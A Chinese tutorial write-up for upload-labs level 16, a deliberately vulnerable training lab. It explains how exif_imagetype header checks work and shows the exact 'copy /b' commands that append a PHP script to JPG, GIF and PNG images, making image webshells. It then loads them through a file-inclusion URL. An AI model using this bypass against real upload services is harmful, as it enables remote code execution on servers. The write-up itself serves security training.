当前位置: 首页 > news >正文

upload-labs通关笔记-第16关 文件上传之exif_imagetype绕过(图片马)

目录

一、exif_imagetype

二、开启exif模块

1、phpstudy设置勾选php_exif模块

2、php.ini文件配置开启php_exif模块 

三、源码分析

四、图片马

1、图片马概念

2、图片马制作

五、渗透实战

1、上传图片马

2、利用文件包含访问图片马

(1)jpg

(2)gif

(3)png


本文通过《upload-labs靶场通关笔记系列》来进行upload-labs靶场的渗透实战,本文讲解upload-labs靶场第16关图片马之exif_imagetype绕过渗透实战。

一、exif_imagetype

exif_imagetype 是 PHP 中的一个内置函数,其用途是判断图像文件的类型。它会读取文件的开头部分,以此识别文件对应的图像类型,并返回一个表示该图像类型的常量。exif_imagetype 原理是通过读取图像文件开头特定字节,这些字节构成文件签名。函数将读取到的签名与预设的各图像格式签名比对,如 JPEG、PNG 等。若匹配到某个格式签名,就返回对应表示图像类型的常量,若未匹配则返回 false。具体语法如下所示。

exif_imagetype ( string $filename ) : int|false
  • 参数:$filename:这是需要判断类型的图像文件的路径。
  • 返回值:若成功,该函数会返回一个表示图像类型的常量,这些常量如下表所示。
常量名对应的图像格式文件签名(十六进制)
IMAGETYPE_GIF1GIF 图像47 49 46 38 (GIF8)
IMAGETYPE_JPEG2JPEG 图像FF D8 FF
IMAGETYPE_PNG3PNG 图像89 50 4E 47
IMAGETYPE_SWF4Shockwave Flash46 57 53 (FWS) 或 43 57 53 (CWS)
IMAGETYPE_PSD5Photoshop 文档38 42 50 53 (8BPS)
IMAGETYPE_BMP6BMP 图像42 4D (BM)
IMAGETYPE_TIFF_II7TIFF 图像(Intel 字节顺序)49 49 2A 00 (II*)
IMAGETYPE_TIFF_MM8TIFF 图像(Motorola 字节顺序)4D 4D 00 2A (MM*)
IMAGETYPE_JPC9JPEG 2000 码流FF 4F FF 51
IMAGETYPE_JP210JPEG 2000 文件00 00 00 0C 6A 50 20 20
IMAGETYPE_JPX11JPEG 2000 文件(JPX)-
IMAGETYPE_JB212JBIG2 图像-
IMAGETYPE_SWC13Shockwave Flash 压缩文件-
IMAGETYPE_IFF14IFF 文件-
IMAGETYPE_WBMP15WBMP 图像-
IMAGETYPE_XBM16XBM 图像-
IMAGETYPE_ICO17ICO 图像00 00 01 00
IMAGETYPE_WEBP18WebP 图像52 49 46 46 x x x x 57 45 42 50
IMAGETYPE_AVIF19AVIF 图像66 74 79 70 61 76 69 66
IMAGETYPE_UNKNOWN0未知类型-

二、开启exif模块

exif_imagetype功能正常使用需要开启php_exif模块,具体方法有两种,选择任意一个均可。

1、phpstudy设置勾选php_exif模块

通过小皮工具首页-网站-管理-php扩展-选择勾选php_exif,具体效果如下所示。

2、php.ini文件配置开启php_exif模块 

找到对应版本的php.ini文件,搜索exif关键字,找到后注释掉前面的分号即可,如下所示。

三、源码分析

打开upload-labs靶场的第16关,源码如下所示。

 如上代码主要功能是实现一个简单的图片上传功能,并且会对上传的文件进行类型检查,只允许上传 GIF、JPEG 和 PNG 格式的图片。通过exif_imagetype检测白名单图片类型来验证是否为图片,具体分析如下所示。

(1)使用了exif_imagetype()检测真实文件类型,比单纯检查文件扩展名更可靠,能有效防止简单的图片马攻击(如仅修改扩展名)

(2)随机化文件名,使用随机数+日期时间戳生成文件名,防止直接猜测文件路径

但是该关卡未验证文件内容是否为为类型的图片,虽然检查了文件头,但未验证整个文件内容是否真实匹配该类型,故而攻击者可能构造一个带有有效图片头的恶意文件。详细注释的代码如下所示。

<?php
// 定义一个函数,用于判断文件是否为图片,并返回图片类型
function isImage($filename){// 需要开启php_exif模块才能使用exif_imagetype函数// exif_imagetype函数用于读取图片文件开头部分,判断其类型,并返回对应的常量$image_type = exif_imagetype($filename);// 使用switch语句根据不同的图片类型常量进行判断switch ($image_type) {// 如果是GIF图片类型case IMAGETYPE_GIF:// 返回文件扩展名gifreturn "gif";// 跳出switch语句break;// 如果是JPEG图片类型case IMAGETYPE_JPEG:// 返回文件扩展名jpgreturn "jpg";// 跳出switch语句break;// 如果是PNG图片类型case IMAGETYPE_PNG:// 返回文件扩展名pngreturn "png";// 跳出switch语句break;    // 如果不是以上列举的图片类型default:// 返回false,表示不是支持的图片类型return false;// 跳出switch语句break;}
}// 初始化一个变量,用于标记文件是否上传成功,初始值为false
$is_upload = false;
// 初始化一个变量,用于存储上传结果的提示信息,初始值为null
$msg = null;
// 检查是否通过POST方式提交了名为submit的表单数据
if(isset($_POST['submit'])){// 获取上传文件在服务器上的临时存储路径$temp_file = $_FILES['upload_file']['tmp_name'];// 调用isImage函数,判断上传的文件是否为支持的图片类型,并返回文件扩展名$res = isImage($temp_file);// 如果返回值为false,说明文件不是支持的图片类型if(!$res){// 设置提示信息,表明文件类型未知,上传失败$msg = "文件未知,上传失败!";}else{// 生成上传文件的最终保存路径,包含随机数、当前日期时间和文件扩展名$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;// 尝试将临时文件移动到最终保存路径if(move_uploaded_file($temp_file,$img_path)){// 如果移动成功,将上传成功标记设置为true$is_upload = true;} else {// 如果移动失败,设置提示信息,表明上传出错$msg = "上传出错!";}}
}
?>

四、图片马

1、图片马概念

图片马是一种将恶意代码隐藏在图片文件中的攻击手段。攻击者通过修改图片文件的二进制数据,将恶意脚本嵌入其中,通常利用Web服务器的文件包含访问图片马来执行恶意代码。

2、图片马制作

对于通过使用exif_imagetype判断是否为图片的情况,使用copy命令制作图片马的方法如下所示。

(1)构建脚本命名info.php

<?php
phpinfo();
?>

(2)准备好3种类型的图片test.gif,test.jpg,test.png

进入到图片文件test.gif,test.jpg,test.png和脚本文件info.php所在的目录

(3)制作图片马

然后执行以下命令即可生成test16.jpg,test16.gif,test16.png三种类型的图片马。

copy /b test.jpg + info.php test16.jpg
copy /b test.png + info.php test16.png
copy /b test.gif + info.php test16.gif
  • /b参数的作用是让copy命令以二进制模式进行文件合并,这样能保证图片文件的二进制数据不被破坏。
  • test.jpg是正常的图片文件。
  • info.php是包含恶意代码的脚本文件。
  • test16.jpg,test16.gif,test16.png是最终生成的图片马文件。

生成的图片马效果如下所示。

五、渗透实战

1、上传图片马

打开靶场第16关,上传第四步制作的3张图片马test16.jpg,test16.gif,test16.png,三个图片马均上传成功,右键获取图片马的URL地址,具体如下所示。

2、利用文件包含访问图片马

(1)jpg

http://127.0.0.1/upload-labs/include.php?file=upload/1420211026153704.jpg

(2)gif

http://127.0.0.1/upload-labs/include.php?file=upload/5320211026153647.gif

(3)png

http://127.0.0.1/upload-labs/include.php?file=upload/7820211026153708.png

http://www.xdnf.cn/news/571087.html

相关文章:

  • springcloud集成seata报错Error creating bean with name ‘globalTransactionScanner‘
  • 解决RedisTemplate的json反序列泛型丢失问题
  • SpringAI开发SSE传输协议的MCP Server
  • 安卓开发用到的设计模式(1)创建型模式
  • OpenCv高阶(十四)——LBPH人脸识别
  • 如何用 Qwen1.5-7B-Chat 模型打造高效轻量的 Python 智能助手(详细实操指南)
  • Windows在PowerShell或CMD运行 curl 命令报错 解决办法 (zx)
  • 如何支持Enhanced RTMP H.265(HEVC)
  • 蓝耘Ubantu服务器测试最新 PP-StructureV3 教程
  • linux 查看java的安装路径
  • Java面试问题基础篇
  • Wireshark 抓包工具使用
  • Visual Studio Code插件离线安装指南:从市场获取并手动部署
  • Android Framework学习八:SystemServer及startService原理
  • 鸿蒙开发——9.wrapBuilder与@BuilderParam对比解析
  • Oracle 11g post PSU Oct18 设置ssl连接(使用jks)
  • 拉普拉斯高斯(LoG)滤波器掩模的注意事项
  • 计及可再生能源不确定性的经济优化调度方法
  • AI与IT从业者的关系更似“进化催化剂“而非“职业终结者“
  • 太阳能电池IV测试设备AAA型AMG1.5太阳光模拟器
  • 道可云人工智能每日资讯|浙江省人民政府印发《关于支持人工智能创新发展的若干措施》
  • [特殊字符] 遇见Flask
  • 【HTML-4】HTML段落标签:构建内容结构的基础
  • 递归+反射+注解(动态拼接建表语句)
  • 机动车授权签字人有哪些权利和义务?
  • 【Element UI排序】JavaScript 的表格排序sortable=“custom“和 @sort-change
  • 欢乐熊大话蓝牙知识7:如何用蓝牙芯片实现一个 BLE 传感器节点?
  • SAR ADC 是选择先置位再比较,还是先比较再置位
  • 【聚合MQ管理 第一章】一个项目管理多种MQ 之 ActiveMq
  • Mac安装redis